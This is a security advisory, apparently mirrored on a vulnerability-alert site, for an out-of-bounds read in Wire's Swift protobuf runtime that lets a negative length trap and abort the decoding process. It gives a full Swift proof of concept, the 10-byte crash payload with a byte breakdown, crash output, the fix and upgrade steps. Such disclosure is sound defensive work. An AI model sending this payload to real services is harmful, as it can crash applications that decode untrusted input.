GHSA-86wm-r4c5-2rc9: Out-of-bounds Read

Published Sep 23, 2026
·
Updated

Summary

Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by wire-runtime-swift) did not reject a negative LENGTHDELIMITED field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause ProtoReader.skipGroup() to read a length-delimited field whose varint decodes to a negative Int32. That negative value was then passed to ReadBuffer.readData(count:).

ReadBuffer checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's Data(bytes:count:), which traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's documented ProtoDecoder.Error.

This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup() issue fixed in com.squareup.wire:wire-runtime 6.3.0 (CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a length < 0 rejection to the Kotlin readers. The functionally similar Swift ProtoReader.skipGroup() path was not covered by that fix and remained vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7 alpha releases through 7.0.0-alpha03.

The issue is fixed for the supported 6.x release line in Wire 6.4.1.

skipGroup() runs for any unknown field with wire type 3 (STARTGROUP), so no schema knowledge is required. A service decoding any message type with ProtoDecoder.decode(:from:) over untrusted bytes can be reached by sending an unknown group field.

Impact

Denial of service.

A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect ProtoDecoder.decode(:from:) to throw catchable decoding errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from Foundation's Data(bytes:count:).

Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes.

The vulnerability requires:

- The application decodes untrusted protobuf bytes with Wire's Swift runtime. - The attacker can provide a protobuf payload containing an unknown STARTGROUP field. - That group contains a LENGTHDELIMITED field whose encoded length decodes to a negative signed 32-bit value.

The attacker does not need:

- Authentication. - User interaction. - Knowledge of the target message schema. - A valid known field number in the target schema.

Affected Products

Swift Package Manager / CocoaPods Wire

Affected versions:

- All released Swift runtime versions through 6.4.0. - Wire 7 alpha releases through 7.0.0-alpha03.

Patched versions:

- 6.4.1 for the supported 6.x release line. - 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing PR #3616).

Recommended action:

- Upgrade to Wire 6.4.1 or later on the supported stable line. - If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x release containing PR #3616.

Vulnerable Code

The vulnerable code was in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift, skipGroup(expectedEndTag:unknownFieldsWriter:):

swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128 state = .lengthDelimited(length: Int(length)) let data = try readData() // no length >= 0 check try unknownFieldsWriter.encode(tag: tag, value: data)

ProtoReader.readData() then forwarded the stored negative length to the buffer:

swift func readData() throws -> Data { guard case let .lengthDelimited(length) = state else { fatalError("Decoding field as length delimited when key was not LENGTHDELIMITED") } state = .tag return try buffer.readData(count: length) // count = -128 }

The bounds check in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only the upper bound. A negative count could pass this guard and then be handed to Foundation:

swift func verifyAdditional(count: Int) throws { guard pointer.advanced(by: count) <= end else { // pointer + (-128) <= end is true throw ProtoDecoder.Error.unexpectedEndOfData } }

func readData(count: Int) throws -> Data { try verifyAdditional(count: count) // negative count passes the guard let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps pointer = pointer.advanced(by: count) return data }

The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into ReadBuffer.readData(count:).

How Input Reaches the Sink

The reachable decoding path is:

text ProtoDecoder.decode(:from:) -> message init(from: ProtoReader) -> ProtoReader.nextTag(token:) -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) -> ProtoReader.readData() -> ReadBuffer.readData(count:) -> Data(bytes:count:)

When ProtoReader.nextTag(token:) sees an unknown field with wire type STARTGROUP, it calls the private skipGroup(...) helper. Inside that skipped group, an inner LENGTHDELIMITED field with a negative varint length reaches readData(), then ReadBuffer.readData(count:), then Data(bytes:count:).

The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic.

Proof Of Concept

The following proof of concept demonstrates the vulnerable behavior. It uses an empty ProtoDecodable message that treats every field as unknown, so an unknown STARTGROUP field drives ProtoReader.nextTag(token:) into the private skipGroup() implementation.

Package.swift:

swift // swift-tools-version:5.9 import PackageDescription

let package = Package( name: "poc", platforms: [.macOS(.v12)], dependencies: [ .package(url: "https://github.com/square/wire.git", exact: "6.4.0") ], targets: [ .executableTarget( name: "poc", dependencies: [.product(name: "Wire", package: "wire")], path: "Sources/poc" ) ] )

Sources/poc/main.swift:

swift import Foundation import Wire

func log( s: String) { FileHandle.standardError.write((s + "\n").data(using: .utf8)!) }

// A ProtoDecodable message that treats every field as unknown. An unknown // STARTGROUP field drives ProtoReader.nextTag() into the private skipGroup(). struct EmptyMessage: ProtoDecodable { static var protoSyntax: ProtoSyntax? { .proto2 } init() {} init(from reader: ProtoReader) throws { let token = try reader.beginMessage() while let = try reader.nextTag(token: token) {} let : UnknownFields = try reader.endMessage(token: token) } }

// hex 9b06 0a 80ffffff0f 9c06 // 0x9B 0x06 field 99, wire type 3 (STARTGROUP) // 0x0A field 1, wire type 2 (LENGTHDELIMITED) inside group // 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128 // 0x9C 0x06 field 99, ENDGROUP let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])

// Negative control: same group, inner length-delimited field has valid length 0. let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])

let decoder = ProtoDecoder()

log("=== NEGATIVE CONTROL (valid length 0) ===") do { = try decoder.decode(EmptyMessage.self, from: benignPayload) log("negative-control: decoded OK, no crash (expected)") } catch { log("negative-control: threw \(type(of: error)): \(error)") }

log("=== ATTACK (negative length -128 inside skipped group) ===") do { = try decoder.decode(EmptyMessage.self, from: attackerPayload) log("attack: decoded OK (not vulnerable / patched)") } catch let e as ProtoDecoder.Error { log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)") } catch { log("attack: threw unexpected \(type(of: error)): \(error)") } log("=== reached end of main (no crash) ===")

Build and run:

bash swift build SWIFTBACKTRACE=enable=yes ./.build/debug/poc

Expected behavior on vulnerable versions through 6.4.0:

text === NEGATIVE CONTROL (valid length 0) === negative-control: decoded OK, no crash (expected) === ATTACK (negative length -128 inside skipped group) ===

Signal 5: Backtracing from 0x191b9d68c... done

Program crashed: System trap at 0x0000000191b9d68c

Thread 0 crashed:

0 specialized Data.InlineData.init(:) in Foundation 1 [ra] specialized Data.init(bytes:count:) in Foundation 2 [ra] ReadBuffer.readData(count:) at ReadBuffer.swift 3 [ra] ProtoReader.readData() at ProtoReader.swift 4 [ra] ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift 5 [ra] closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift 6 [ra] ProtoReader.nextTag(token:) at ProtoReader.swift 7 [ra] [thunk] EmptyMessage.init(from:) at main.swift 8 [ra] ProtoReader.decode<A>(:) at ProtoReader.swift 9 [ra] ProtoDecoder.decode<A>(:from:) at ProtoDecoder.swift 10 [ra] main at main.swift

The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself.

The attack payload crashes with SIGTRAP inside Data.init(bytes:count:), reached from the unguarded skipGroup() -> readData() -> ReadBuffer.readData(count:) path. This runtime trap escapes Wire's documented ProtoDecoder.Error boundary.

Payload:

text 9b060a80ffffff0f9c06

Payload breakdown:

text 0x9B 0x06 field 99, wire type 3 (STARTGROUP) 0x0A field 1, wire type 2 (LENGTHDELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int32 0x9C 0x06 field 99, ENDGROUP

Fix

The fix rejects negative lengths before setting the length-delimited reader state and before calling readData().

Fixed logic in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift:

swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) guard length >= 0 else { throw ProtoDecoder.Error.unexpectedEndOfData } state = .lengthDelimited(length: Int(length)) let data = try readData() try unknownFieldsWriter.encode(tag: tag, value: data)

The fix also adds defense in depth in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift by rejecting negative read counts before pointer arithmetic and before constructing Data(bytes:count:).

The fix was merged in PR #3616:

https://github.com/square/wire/pull/3616

Fix commit:

https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e

Patched Behavior

With the fix, the same payload is rejected with a catchable ProtoDecoder.Error instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around ProtoDecoder.decode(:from:).

Workarounds

There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder.

Recommended Upgrade

Upgrade to Wire 6.4.1 or later.

Swift Package Manager users should update their dependency to a patched tag:

swift .package(url: "https://github.com/square/wire.git", from: "6.4.1")

CocoaPods users should update the Wire pod to 6.4.1 or later.

Wire 7 alpha users should upgrade to 7.0.0-alpha04 or a later 7.x release that contains PR #3616.

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

This advisory covers the Swift runtime sibling of GHSA-7xpr-hc2w-34m9 / CVE-2026-45799.

GHSA-7xpr-hc2w-34m9 fixed the Kotlin/JVM readers in Wire 6.3.0, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR.

Credits

Reported by tonghuaroot.

Affected Software

1 affected componentFixes available
swift/github.com/square/wire<=6.4.0
6.4.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade swift/github.com/square/wire to a version that resolves this vulnerability.

    Fixed in 6.4.1
  2. Upgrade

    Upgrade Wire Swift runtime to a version that resolves this vulnerability.

    Fixed in 6.4.1
  3. Upgrade

    Upgrade Wire Swift runtime to a version that resolves this vulnerability.

    Fixed in 7.0.0-alpha04
  4. Compensating control

    Where feasible, avoid decoding untrusted protobuf inputs with the vulnerable runtime by validating or filtering payloads at the outer protocol boundary, including rejecting protobuf group wire types.

Event History

Sep 23, 2026
Advisory Published
via GitHub·06:45 PM
Data Sourced
via GitHub·06:45 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are potentially exposed?

The affected component is Wire's Swift runtime, distributed through the Wire SPM/CocoaPods product and implemented by wire-runtime-swift. Released Swift runtime versions through 6.4.0 are affected.

2

What must an attacker be able to do to trigger the issue?

An attacker must be able to provide a crafted protobuf payload to the Swift decoder on a path that skips an unknown protobuf group. The payload can be as small as 10 bytes and uses a length-delimited field whose varint decodes to a negative Int32 length.

3

What is the practical impact of successful exploitation?

The malformed negative length reaches Foundation's Data(bytes:count:), causing a trap and process abort with SIGTRAP rather than a protobuf decoding error. The supplied severity vector indicates availability impact, with no confidentiality or integrity impact.

4

Does the earlier Kotlin/JVM Wire fix address this Swift issue?

No. The Kotlin/JVM fix in com.squareup.wire:wire-runtime 6.3.0 added negative-length rejection to Kotlin readers, but the functionally similar Swift ProtoReader.skipGroup() path remained vulnerable.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203